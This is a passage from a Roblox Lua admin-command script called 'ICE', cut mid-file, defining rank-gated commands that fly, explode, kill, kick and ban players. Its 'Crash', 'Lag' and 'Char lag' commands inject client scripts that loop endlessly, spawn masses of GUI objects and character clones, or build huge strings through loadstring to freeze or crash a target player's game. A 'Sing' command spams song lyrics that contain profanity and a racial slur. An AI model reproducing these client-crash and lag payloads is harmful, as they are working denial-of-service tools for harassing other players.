  3198. coroutine.wrap(function()
  3199. local Meter=0
  3200. if Split then
  3201. if tonumber(Msg:sub(Split+1)) then
  3202. Meter=tonumber(Msg:sub(Split+1))
  3203. else
  3204. Meter=300
  3205. end
  3206. else
  3207. Meter=300
  3208. end
  3209. End=false;-- End flying
  3210. coroutine.wrap(function()
  3211. repeat
  3212. if v.Character and v.Character:findFirstChild'Torso' then
  3213. local Vect=Vector3.new();
  3214. local Cur=v.Character.Torso.Position
  3215. v.Character.Torso.Anchored=true
  3216. Vect=Vector3.new(Cur.x,Cur.y + 0.1,Cur.z)
  3217. v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
  3218. if v.Character.Torso.CFrame.y>=Meter then End=true end;
  3219. end
  3220. wait()
  3221. until End==true
  3222. pcall(function() v.Character.Torso.Anchored=false end)
  3223. end)()
  3224. v.CharacterAdded:connect(function(v) if End==false then End=true end end)
  3225. end)()
  3226. end
  3227. end
  3228. )
  3229. ICE.Command('Skyfall','sfall',2,'Makes #Player skyfall','#Player',
  3230. function(Msg,Speaker)
  3231. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3232. pcall(function()
  3233. vChar=v.Character;
  3234. vTorso=vChar.Torso;
  3235. vTorso.CFrame=CFrame.new(vTorso.CFrame.x,9999,vTorso.CFrame.z)
  3236. wait()
  3237. vTorso.CanCollide=false
  3238. end)
  3239. end
  3240. end
  3241. )
  3242. ICE.Command("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3243. function(Msg,Speaker)
  3244. for _,v in pairs(ICE.Services.Workspace:children()) do
  3245. if Prometheus ~= nil then
  3246. if v ~= Prometheus.script("lushmylife") then
  3247. pcall(function()
  3248. v:Destroy()
  3249. end)
  3250. end
  3251. else
  3252. pcall(function()
  3253. v:Destroy()
  3254. end)
  3255. end
  3256. end
  3257.  
  3258. local Base=Instance.new("Part",ICE.Services.Workspace)
  3259. Base.Name='Base'
  3260. Base.Size=Vector3.new(2048,1,2048)
  3261. Base.BrickColor=BrickColor.new("Dark green")
  3262. Base.Anchored=true
  3263. Base.Locked=true
  3264. Base.TopSurface='Studs'
  3265. Base.Transparency = 0
  3266. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3267. local Spawn=Instance.new("SpawnLocation",ICE.Services.Workspace) Spawn.Name='SpawnLocation'
  3268. Spawn.Size=Vector3.new(6,1,6)
  3269. Spawn.Transparency=1
  3270. Spawn.CanCollide=false
  3271. Spawn.Anchored=true
  3272. Spawn.Locked=true
  3273. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3274. for _,v in pairs(ICE.GetPlayers()) do
  3275. v:LoadCharacter()
  3276. end
  3277.  
  3278. end
  3279. )
  3280. ICE.Command('Brick kill','bkill',2,'Kills #PLayer with a brick','#Player',
  3281. function(Msg,Speaker)
  3282. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3283. local Funcs={
  3284. {Func=function(v) v:BreakJoints(); end};
  3285. {Func=function(v) Expl=Instance.new'Explosion' Expl.Parent=v Expl.Position=v.Position end};
  3286. {Func=function(v) v:BreakJoints(); Instance.new'Fire'.Parent=v; Instance.new'Sparkles'.Parent=v end};
  3287. }
  3288. coroutine.wrap(function()
  3289. local Part=Instance.new'Part'
  3290. local Event=math.random(1,3)
  3291. local Size=Vector3.new(4,4,4)
  3292. local Head=v.Character.Head
  3293. Model=Instance.new'Model'
  3294. Model.Parent=Head.Parent--v.Character
  3295. Part.Size=Size;
  3296. Part.BrickColor=BrickColor.random()
  3297. Color=Part.Color
  3298. local SelectionBox=Instance.new'SelectionBox'
  3299. SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
  3300. local BillBoard=Instance.new'BillboardGui'
  3301. BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BillboardGui',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
  3302. local Label=Instance.new'TextLabel'
  3303. Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label','',Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
  3304. Spot=Instance.new'PointLight'
  3305. Spot.Brightness=1/0
  3306. Spot.Range=30
  3307. if game.Lighting.GlobalShadows==true and game.Lighting.Ambient==Color3.new(0,0,0) or game.Lighting.Ambient==Color3.new(-1,-1,-1) then
  3308. Spot.Parent=Part
  3309. end
  3310. Part.Touched:connect(function(Hit)
  3311. if Hit:IsDescendantOf(v.Character) then
  3312. Funcs[Event].Func(Hit)
  3313. end
  3314. end)
  3315. Part.Parent=Model
  3316. Part.CFrame=CFrame.new(Head.Position + Vector3.new(0,20,0))
  3317. Part.Anchored=true
  3318. for i=1,20,0.1 do
  3319. Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
  3320. if 15-i >= 0 then
  3321. Label.Text='You have ' .. 15-i .. ' seconds to live =3'
  3322. end
  3323. Spot.Color=Color3.new(math.random(),math.random(),math.random())
  3324. SelectionBox.Color=BrickColor.new(Spot.Color)
  3325. Part.Color=Spot.Color
  3326. wait()
  3327. end
  3328. Label.Text='You have died ;)'
  3329. for i=1,10,0.1 do
  3330. wait()
  3331. if v.Character==nil or v.Character.Parent==nil then
  3332. break
  3333. end
  3334. Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
  3335. end
  3336. end)()
  3337. end
  3338. end
  3339. )
  3340. ICE.Command('Fall','Fall',2,'Makes #Player Fall #Studs high','<Player><Studs>',
  3341. function(Msg,Speaker)
  3342. Players={};
  3343. Split=Msg:find(ICE.Bets[2])
  3344. if Split then
  3345. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  3346. else
  3347. Players=ICE.GetPlayers(Msg,Speaker)
  3348. end
  3349. for _,v in pairs(Players) do
  3350. coroutine.wrap(function()
  3351. local Meter=0
  3352. if Split then
  3353. if tonumber(Msg:sub(Split+1)) then
  3354. Meter=tonumber(Msg:sub(Split+1))
  3355. else
  3356. Meter=-300
  3357. end
  3358. else
  3359. Meter=-300
  3360. end
  3361. if Meter > 0 then
  3362. Meter=Meter-Meter-Meter;
  3363. end
  3364. End=false;-- End flying
  3365. coroutine.wrap(function()
  3366. repeat
  3367. if v.Character and v.Character:findFirstChild'Torso' then
  3368. local Vect=Vector3.new();
  3369. local Cur=v.Character.Torso.Position
  3370. v.Character.Torso.Anchored=true
  3371. v.Character.Torso.CanCollide=false
  3372. Vect=Vector3.new(Cur.x,Cur.y - 0.1,Cur.z)
  3373. v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
  3374. if v.Character.Torso.CFrame.y<=Meter then End=true end;
  3375. end
  3376. wait()
  3377. until End==true
  3378. pcall(function() v.Character.Torso.Anchored=false v.Character.Torso.CanCollide=true end)
  3379. end)()
  3380. v.CharacterAdded:connect(function(v) if End==false then End=true end end)
  3381. end)()
  3382. end
  3383. end
  3384. )
  3385. ICE.Command('Kick phrase','kpchat',2,'Kicks a player for chatting a term','#Player',
  3386. function(Msg,Speaker)
  3387. local Warnings={}
  3388. local Max=4
  3389. local Players={};
  3390. local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
  3391. local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
  3392. local Split=Msg:find(ICE.Bets[2]) or nil
  3393. local Phrase=""
  3394. if Split then
  3395. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  3396. Phrase=tostring(Msg:sub(Split+1))
  3397. else
  3398. Max=3
  3399. Players=ICE.GetPlayers(Msg,Speaker)
  3400. end
  3401.  
  3402. for i,Player in pairs(Players) do
  3403. AddWarning(Player)
  3404. wait()
  3405. Player.Chatted:connect(function(Msg)
  3406. if Msg:find(Phrase) then
  3407. AddWarning(Player)
  3408. if GetWarnings(Player) == 0 then
  3409. Player:Destroy();
  3410. else
  3411. local WarningHint=Instance.new('Message');
  3412. WarningHint.Name='WarningHint'
  3413. pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);
  3414. WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for saying ' .. Phrase .. ' before being kicked'
  3415. WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
  3416. wait(3)
  3417. WarningHint.Parent=nil
  3418. end
  3419. end
  3420. end)
  3421. end
  3422. end
  3423. )
  3424. ICE.Command('Loopkill','lk',2,'Loopkills #Player','#Player',
  3425. function(Msg,Speaker)
  3426. for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3427. ICE.Loopkilled[v.Name]=true
  3428. end
  3429. end
  3430. )
  3431. ICE.Command('Un-Loopkill','unlk',2,'Un-Loopkills #Player','#Player',
  3432. function(Msg,Speaker)
  3433. for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3434. ICE.Loopkilled[v.Name]=false
  3435. end
  3436. end
  3437. )
  3438. ICE.Command('Explode','expl',2,'Explodes #Player','#Player',
  3439. function(Msg,Speaker)
  3440. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3441. local Expl=Instance.new'Explosion'
  3442. Expl.Parent=v.Character
  3443. --pcall(function()
  3444. Expl.Position = v.Character.Torso.Position
  3445. Expl.BlastRadius=100
  3446. --end)
  3447. end
  3448. end
  3449. )
  3450. ICE.Command('Smite','smite',2,'Smites #Player','#Player',
  3451. function(Msg,Speaker)
  3452. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3453. for _,i in pairs(v.Character:children()) do
  3454. if i:IsA'BasePart' then
  3455. local Sparkles = Instance.new("Sparkles",i)
  3456. Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
  3457. local Ex = Instance.new("Explosion",ICE.Services.Workspace)
  3458. Ex.Position = i.Position
  3459. Ex.BlastPressure = 1e105
  3460. i:BreakJoints()
  3461. i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
  3462. coroutine.wrap(function()
  3463. for b=1,5,0.5 do
  3464. i.Size=Vector3.new(b,b,b)
  3465. wait(0.01)
  3466. end
  3467. end)()
  3468. end
  3469. end
  3470. local Base=Instance.new'Part'
  3471. pcall(function()
  3472. Base.Size=Vector3.new(5,1,3)
  3473. Base.Color=Color3.new(BrickColor.new'Bright yellow')
  3474. Base.Anchored=true
  3475. Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
  3476. coroutine.wrap(function()
  3477. for i=0,1,0.1 do
  3478. Base.Transparency=i
  3479. wait()
  3480. end
  3481. Base:Destroy()
  3482. end)()
  3483. end)
  3484. end
  3485. end
  3486. )
  3487. ICE.Command('Force field','ff',2,'Gives #Player a forcefield','#Player',
  3488. function(Msg,Speaker)
  3489. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3490. ICE.OnChatted(ICE.Bets[1]..'unff'..ICE.Bets[2]..v.Name,Speaker,true)
  3491. local Force=Instance.new'ForceField'
  3492. Force.Parent=v.Character
  3493. end
  3494. end
  3495. )
  3496. ICE.Command('Un forcefield','unff',2,'Removes #Players forcfields','#Player',
  3497. function(Msg,Speaker)
  3498. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3499. for i,s in pairs(v.Character:children()) do
  3500. if s:IsA'ForceField' then
  3501. s:Destroy()
  3502. end
  3503. for ii,ss in pairs(s:children()) do
  3504. if ss:IsA'ForceField' then
  3505. ss:Destroy()
  3506. end
  3507. end
  3508. end
  3509. end
  3510. end
  3511. )
  3512. ICE.Command('Build tools','btools',2,'Gives #Playr btools','#Playr',
  3513. function(Msg,Spkr)
  3514. for _,v in pairs(ICE.GetPlayers(Msg,Spkr)) do
  3515. for i=1,4 do
  3516. local B=Instance.new'HopperBin'
  3517. B.BinType=i
  3518. B.Parent=v.Backpack
  3519. end
  3520. end
  3521. end
  3522. )
  3523. ICE.Command('Damage','dmg',2,'Makes a player take #Damage','#Damage',
  3524. function(Msg,Speaker)
  3525. Damage,Players=nil,{};
  3526. Split=Msg:find(ICE.Bets[2])
  3527. Players=ICE.GetPlayers(Msg:sub(1,Split-1))
  3528. Damage=tonumber(Msg:sub(Split+1))
  3529. for i,v in pairs(Players) do
  3530. v.Character.Humanoid:TakeDamage(Damage)
  3531. end
  3532. end
  3533. )
  3534. --[[ Rank 3 ]]--
  3535. ICE.Command('Crash','crash',3,'Crashes #PLayer','#Player',
  3536. function(Msg,Speaker)
  3537. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3538. if newLocalScript then
  3539. newLocalScript([[
  3540. script.Parent=nil
  3541. while wait() do
  3542. ICE.Services.Players.LocalPlayer.Parent=nil
  3543. wait()
  3544. ICE.Services.Players.LocalPlayer.Parent=ICE.Services.Players
  3545. end]],
  3546. v:findFirstChild'Backpack' or v.Character)
  3547. else
  3548. loadstring([[
  3549. local Player = ICE.Services.Players:findFirstChild']]..v.Name..[['
  3550. repeat wait() until Player:findFirstChild'PlayerGui'
  3551. local Value=Instance.new'StringValue'
  3552. Value.Parent=Player:findFirstChild'PlayerGui'
  3553. Value.Value=("Yerrrp"):r]]..[[ep(1000000)]]
  3554. )()
  3555. end
  3556. end
  3557. end
  3558. )
  3559. ICE.Command('Antikill','ak',3,'Antikills a player','Player',
  3560. function(Msg,Speaker)
  3561. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3562. coroutine.wrap(function()
  3563. local String=Instance.new'StringValue'
  3564. String.Name,String.Parent='Stop'..v.Name,ICE.Services.Lighting
  3565. wait()
  3566. String:Destroy();
  3567. local Last=CFrame.new(0,0,0);
  3568. local Started=false;
  3569. local Player=ICE.Services.Players:findFirstChild(v.Name)
  3570. local End=false
  3571. Player.CharacterAdded:connect(function()
  3572. if End == false then
  3573. repeat
  3574. wait()
  3575. until Player.Character
  3576. Char=Player.Character
  3577. Humanoid=Char:findFirstChild'Humanoid'
  3578. Torso=Char:findFirstChild'Torso'
  3579. if Started then
  3580. Torso.CFrame=Last
  3581. end
  3582. Humanoid.Died:connect(function()
  3583. Last=CFrame.new(Torso.Position)
  3584. Started=true
  3585. Player:LoadCharacter();
  3586. end)
  3587. end
  3588. end)
  3589. repeat
  3590. wait()
  3591. if ICE.Services.Lighting:findFirstChild('Stop'..Player.Name) or ICE.Removed==true then
  3592. End=true
  3593. end
  3594. until End==true or ICE.Removed==true
  3595. end)()
  3596. end
  3597. end
  3598. )
  3599. ICE.Command('Remove antikill','remak','Removes an antikill a player has','Player',
  3600. function(Msg,Speaker)
  3601. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3602. Stop=Instance.new'StringValue'
  3603. coroutine.wrap(function() Stop.Value="true" Stop.Name='Stop'..v.Name Stop.Parent=ICE.Services.Lighting wait(1) Stop:Destroy() end)()
  3604. end
  3605. end
  3606. )
  3607. ICE.Command('Spawn smite','spsmite',3,'Spawn smites #Player','#Player',
  3608. function(Msg,Speaker)
  3609. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3610. v.CharacterAdded:connect(function()
  3611. coroutine.wrap(function()
  3612. Bet,Bet2=ICE.Bets[1],ICE.Bets[2]
  3613. ICE.OnChatted(Bet..'smite'..Bet2..v.Name,Speaker,true)
  3614. end)()
  3615. end)
  3616. end
  3617. end
  3618. )
  3619. ICE.Command('Obliterate','obl',3,'Obliterates #Player','#Player',
  3620. function(Msg,Speaker)
  3621. for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3622. for _,Part in pairs(v.Character:children()) do
  3623. coroutine.wrap(function()
  3624. if Part:IsA'BasePart' then
  3625. local Cube = Instance.new'Part'
  3626. Cube.FormFactor = 'Custom'
  3627. Cube.Size = Vector3.new(5,5,5)
  3628. Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3629. Cube.Anchored = false
  3630. Cube.CanCollide = true
  3631. Cube.Locked = true
  3632. Cube.Friction = 0
  3633. Cube.Transparency= 0
  3634. Cube.Reflectance = 0.5
  3635. Cube:BreakJoints()
  3636. Cube.Touched:connect(function(Hit)
  3637. if Hit:IsDescendantOf(v.Character) then
  3638. local Expl=Instance.new'Explosion'
  3639. Expl.Position=Hit.Position
  3640. Sparkles=Instance.new'Sparkles'
  3641. Fire=Instance.new'Fire'
  3642. Fire.Parent,Expl.Parent,Sparkles.Parent=Hit,Hit,Hit
  3643. Hit:BreakJoints();
  3644. game:service'Debris':AddItem(Cube,2)
  3645. end
  3646. end)
  3647. local Body=Instance.new'BodyPosition'
  3648. Body.Parent=Cube
  3649. Cube.Parent=game.Workspace
  3650. Body.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3651. Body.position=Vector3.new(0,50,0)
  3652. coroutine.wrap(function()
  3653. for i=1,50 do
  3654. Body.position=Vector3.new(Part.Position.x,50-i,Part.Position.z)
  3655. wait()
  3656. end
  3657. end)()
  3658. game:service'Debris':AddItem(Cube,10)
  3659. end
  3660. end)()
  3661. end
  3662. end
  3663. end
  3664. )
  3665. ICE.Command('Sing','sing',3,'Makes #Player Sing','@Player',
  3666. function(Msg,Speaker)
  3667. for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3668. coroutine.wrap(function()
  3669. Tab={
  3670. "Yall ride 18's we ride 26's";
  3671. "Big truck Big wheels rollin ova ditches";
  3672. "Crome rims loud pipes heated like a kitchen ";
  3673. "Ice chain Ice watch gettin at these bitches";
  3674. "Yall ride 18's we ride 26's";
  3675. "Big truck Big wheels rollin ova ditches";
  3676. "Crome rims loud pipes heated like a kitchen ";
  3677. "Ice chain Ice watch gettin at these bitches";
  3678. "Im the wrong balla to flex with";
  3679. "Diamond stud earings and neckless";
  3680. "And my truck on 26's driving reckless";
  3681. "Got a pound yep and on my way to texas";
  3682. "yep im on there trowing up my set shit";
  3683. "Spinnas with the color trim ho's breathless";
  3684. "Paint shinning brite like morning breakfast";
  3685. "Once i slide up in the party pull the best bitch";
  3686. "Yo chick still want me even though she pregnant";
  3687. "Run game on a trick like check this";
  3688. "She seen the atm recipt and got wet with shit";
  3689. "She in a lexus told her park her whip";
  3690. "270 im bout to exit";
  3691. "I can bet a grip she work her hands and lips";
  3692. "Like a porno star who cares if her man a trip";
  3693. "I can handle it its so scandelous";
  3694. "I got them thing conpocky on a rubberband skinny";
  3695. "I pull up laughing at another man 20's (ha)";
  3696. "Yep the yunger man i run the dam city";
  3697. "I gotta pocket fulla hundreds fifty's rubberband 20's";
  3698. "Peep the shoes these is huge";
  3699. "Im probably on the service road nigga speeding in cruise";
  3700. "I bleed and bruise of reaching fools";
  3701. "So dont reach";
  3702. "u aint talking bout money then dont speak";
  3703. "Dont preach church don wan taught me that";
  3704. "The bitches had me gone but the money brought me back";
  3705. "Im seeing crome and i do them runs flat";
  3706. "President tent front back";
  3707. "Man i wish them old b p's come back but i roll on em";
  3708. "Hundrend spoke big d's tripple gold homie";
  3709. "No homie my rims aint twizzles";
  3710. "But dont get it twisted them is 26's";
  3711. "Song name: 26's by Chingy";
  3712. };
  3713. for i,v in pairs(Tab) do
  3714. game:service'Chat':Chat(Player.Character.Head,v,'Red')
  3715. wait(3)
  3716. end
  3717. end)()
  3718. end
  3719. end
  3720. )
  3721. --[[ Rank 4 ]]--
  3722. ICE.Command('Banish','ban',4,'Bans #Player','#Player',
  3723. function(Msg,Speaker)
  3724. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3725. ICE.Ranked[v.Name].Rank=-1
  3726. v:Destroy()
  3727. end
  3728. end
  3729. )
  3730. ICE.Command('Unban','unban',4,'Unbans Player','Player',
  3731. function(Msg,Speaker)
  3732. for i,v in pairs(ICE.Ranked) do
  3733. if i:lower():sub(1,#Msg)==Msg:lower() then
  3734. v.Rank=0
  3735. end
  3736. end
  3737. end
  3738. )
  3739. --[[ Rank 5 ]]--
  3740. ICE.Command('Lag','lag',5,'Lags #Player','#Player',
  3741. function(Msg,Speaker)
  3742. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3743. ICE.CreateLocalScript(
  3744. [[
  3745. script.Parent=nil
  3746. LocalPlayer = game:service'Players'.LocalPlayer
  3747. Camera=Workspace.CurrentCamera
  3748. LocalPlayer.CameraMode = Enum.CameraMode.Classic
  3749. wait()
  3750. function buildGui()
  3751. local guitable = {}
  3752.  
  3753. guitable['Output'] = Instance.new('ScreenGui')
  3754. guitable['Output'].Name = 'Output'
  3755.  
  3756. guitable['ImageLabel'] = Instance.new('ImageLabel', guitable['Output'])
  3757. guitable['ImageLabel'].Position = UDim2.new(0.11999998986721, 0, 0.14999996125698, 0)
  3758. guitable['ImageLabel'].Size = UDim2.new(0.89999997615814, 0, 0.30000001192093, 0)
  3759. guitable['ImageLabel'].BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
  3760. guitable['ImageLabel'].BackgroundTransparency = 1
  3761. guitable['ImageLabel'].Image = 'http://www.roblox.com/asset/?id=117512375'
  3762.  
  3763. return guitable['Output']
  3764. end
  3765. local GuiLag=buildGui()
  3766. coroutine.wrap(function()
  3767. for a=1,10 do wait()
  3768. coroutine.wrap(function()
  3769. for b=1,10 do wait()
  3770. for c=1,10 do
  3771. for d=1,10 do
  3772. Msg=Instance.new'Message'
  3773. Hint=Instance.new'Hint'
  3774. PG=game.Players.LocalPlayer:findFirstChild'PlayerGui' or Instance.new('PlayerGui',game.Players.LocalPlayer)
  3775. Msg.Parent,Hint.Parent,GuiLag:clone().Parent=Workspace,Workspace.CurrentCamera,PG or Camera
  3776. Msg.Text,Hint.Text=string.rep("\t ",365),string.rep("\t ",365)
  3777. -- Derpis()
  3778. if LocalPlayer.CameraMode ~= Enum.CameraMode.LockFirstPerson then LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson end
  3779. pcall(function() loadstring(script:FindFirstChild("Source").Value or script:FindFirstChild("source").Value or script:FindFirstChild("DSource").Value)() end)
  3780. end
  3781. end
  3782. end
  3783. end)()
  3784. end
  3785. end)()
  3786. ]],v.Character)
  3787. end
  3788. end
  3789. )
  3790. ICE.Command('Char lag','clag',5,'Char lags #Player','#Player',
  3791. function(Msg,Speaker)
  3792. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3793. pcall(function()
  3794. ICE.CreateLocalScript([=[
  3795. ICE={
  3796. ['Services']={};
  3797. };
  3798. for i,v in pairs(game:children()) do ICE.Services[v.Name]=v end
  3799. script.Parent=nil
  3800. NormalColor=Color3.new(BrickColor.random())
  3801. local LocalPlayer,Source,Camera,Workspace=ICE.Services.Players.LocalPlayer,script:children()[1],ICE.Services.Workspace.CurrentCamera,game:service'Workspace'
  3802. coroutine.wrap(function()
  3803. while wait() do
  3804. for a=1,100 do wait()
  3805. for aa=1,20 do wait()
  3806. for aaa=1,10 do wait()
  3807. for aaaa=1,5 do wait()
  3808. --for b=1,20 do wait()
  3809. -- for c=1,10 do wait()
  3810. -- for d=1,5 do wait()
  3811. -- for e=1,2 do wait()
  3812. -- local Msg=Instance.new'Message'
  3813. -- local Part=Instance.new'Part'
  3814. -- local Hint=Instance.new'Hint'
  3815. local Char=Instance.new'Model'
  3816. if ICE.Services.Players.LocalPlayer.Character==nil then ICE.Services.Players.LocalPlayer.Character=Instance.new'Model' end
  3817. for i,v in pairs(LocalPlayer.Character:children()) do v:Clone().Parent=Char end
  3818. Char:MakeJoints()
  3819. if LocalPlayer:findFirstChild'PlayerGui'==nil then Instance.new'PlayerGui'.Parent=LocalPlayer end
  3820. if Char.Archivable==true then Char.Archivable=false end
  3821. local Mod,Part,Color,Text=Char,Char.Head,NormalColor,"I'm being lagged!"
  3822. local BBG = Instance.new("BillboardGui",Mod)
  3823. BBG.Name = "BBG"
  3824. BBG.StudsOffset = Vector3.new(0,4.5,0)
  3825. BBG.Size = UDim2.new(10,0,10,0)
  3826. local Label = Instance.new("TextLabel",BBG)
  3827. Label.Name = "Label"
  3828. Label.Text = ""
  3829. Label.TextColor3 = Color3.new(-1,-1,-1)
  3830. Label.FontSize = "Size24"
  3831. Label.BackgroundTransparency = 1
  3832. Label.TextStrokeTransparency = 0.5
  3833. Label.Size = UDim2.new(1,0,1,0)
  3834. Label.TextStrokeColor3 = Color
  3835. local Sel=Instance.new'SelectionBox'
  3836. Sel.Name='Lag'
  3837. Sel.Parent=Char.Head
  3838. Sel.Adornee=Sel.Parent
  3839. Sel.Color=BrickColor.random()
  3840. -- Msg.Text='You bein lagged bish'
  3841. -- Hint.Text=Msg.Text
  3842. -- Part.Parent=Workspace.CurrentCamera
  3843. -- Msg.Parent=Workspace
  3844. -- Hint.Parent=Workspace
  3845. Char.Parent=workspace.CurrentCamera
  3846. Char:MakeJoints();
  3847. --[[ local GuiLag=Instance.new('ScreenGui')GuiLag = Instance.new("ScreenGui")
  3848. GuiLag.Name = "Output"
  3849. Blind = Instance.new("ImageButton", GuiLag)
  3850. Blind.Name = "Blind"
  3851. Blind.Position = UDim2.new(-0.10000000149012, 0, -0.10000000149012, 0)
  3852. Blind.Size = UDim2.new(1.1000000238419, 0, 1.1000000238419, 0)
  3853. Blind.BackgroundColor3 = Color3.new(0, 0, 0)
  3854. ImageLabel = Instance.new("ImageLabel", Blind)
  3855. ImageLabel.Position = UDim2.new(0.41999998688698, 0, 0.84999996423721, 0)
  3856. ImageLabel.Size = UDim2.new(0.20000000298023, 0, 0.10000000149012, 0)
  3857. ImageLabel.BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
  3858. ImageLabel.BackgroundTransparency = 1
  3859. ImageLabel.Image = "http://www.roblox.com/asset/?id=112875964"
  3860. TextLabel = Instance.new("TextLabel", Blind)
  3861. TextLabel.Position = UDim2.new(0.27000001072884, 0, 0.74000000953674, 0)
  3862. TextLabel.Size = UDim2.new(0.5, 0, 0.10000000149012, 0)
  3863. TextLabel.BackgroundColor3 = Color3.new(0.031372550874949, 0.031372550874949, 0.035294119268656)
  3864. TextLabel.Text = "Your Being Lagged"
  3865. TextLabel.FontSize = Enum.FontSize.Size36
  3866. TextLabel.TextWrapped = true
  3867. TextLabel.Active = true
  3868. GuiLag.Parent=ICE.Services.Players.LocalPlayer.PlayerGui
  3869. --]] LocalPlayer.CameraMode = Enum.CameraMode.Classic
  3870. wait()
  3871. LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
  3872. -- Instance.new("Message",Camera).Text = string.rep("\t ",365)
  3873. -- Instance.new('Hint',Camera).Text=("\t "):rep(365)
  3874. -- end
  3875. -- end
  3876. -- end
  3877. -- end
  3878. end
  3879. end
  3880. end
  3881. end
  3882. end
  3883. end)()
  3884. ]=],v.Character)
  3885. end)
  3886. end
  3887. end
  3888. )
  3889. ICE.Command("Nuke","nuke",5,"Nukes the selected player.","<Player>",
  3890. function(Msg,Speaker)
  3891. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3892. local Position = v.Character.Torso.Position
  3893. local Sound = Instance.new("Sound", workspace)
  3894. Sound.SoundId = "http://www.roblox.com/Asset/?id=2101159"
  3895. Sound.Volume = 1
  3896. Sound.Pitch = math.random(90, 110) / 100
  3897. Sound:Play()
  3898. local Sound = Instance.new("Sound", workspace)
  3899. Sound.SoundId = "http://www.roblox.com/Asset/?id=3087031"
  3900. Sound.Volume = 1
  3901. Sound.Pitch = math.random(90, 110) / 100
  3902. Sound:Play()
  3903. for i = 1, math.random(5, 7) do
  3904. local ExplosionBall = Instance.new("Part", game:service("Workspace"))
  3905. ExplosionBall.Name = "Explosion Ball"
  3906. ExplosionBall.formFactor = "Custom"
  3907. ExplosionBall.TopSurface = 0
  3908. ExplosionBall.BottomSurface = 0
  3909. ExplosionBall.Anchored = true
  3910. ExplosionBall.CanCollide = false
  3911. ExplosionBall.Size = Vector3.new(1, 1, 1)
  3912. ExplosionBall.BrickColor = BrickColor.random()
  3913. ExplosionBall.CFrame = CFrame.new(Position)
  3914. ExplosionBall.Touched:connect(function(part) if part:IsDescendentOf(v.Character) then part:BreakJoints() end end)
  3915. Instance.new("SpecialMesh", ExplosionBall).MeshType = "Sphere"
  3916. coroutine.wrap(function()
  3917. for i = 0, 1, 0.005 do
  3918. ExplosionBall.Transparency = (1 - i)
  3919. ExplosionBall.Mesh.Scale = Vector3.new(i * 250, i * 250, i * 250)
  3920. ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i))
  3921. if math.random(1, 25) == 1 then
  3922. local Explosion = Instance.new("Explosion")
  3923. Explosion.Position = ExplosionBall.Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i)
  3924. Explosion.BlastPressure = 10000 * i
  3925. Explosion.BlastRadius = i * 250
  3926. Explosion.Parent = game:service("Workspace")
  3927. end
  3928. wait()
  3929. end
  3930. for i = 0, 1, 0.05 do
  3931. ExplosionBall.Transparency = i
  3932. ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * (1 - i)))
  3933. wait()
  3934. end
  3935. ExplosionBall:Remove()
  3936. end)()
  3937. end
  3938. end
  3939. end
  3940. )
  3941. --[[ Rank 6 ]]--
  3942. ICE.Command("ICE Clear","ICE",6,"Clears the game.","No Arguments",
  3943. function(Msg,Speaker)
  3944. for i,v in pairs(_G) do
  3945. if type(v) == 'function' and getfenv(v).ICE == nil then
  3946. for var,val in pairs(getfenv(v)) do
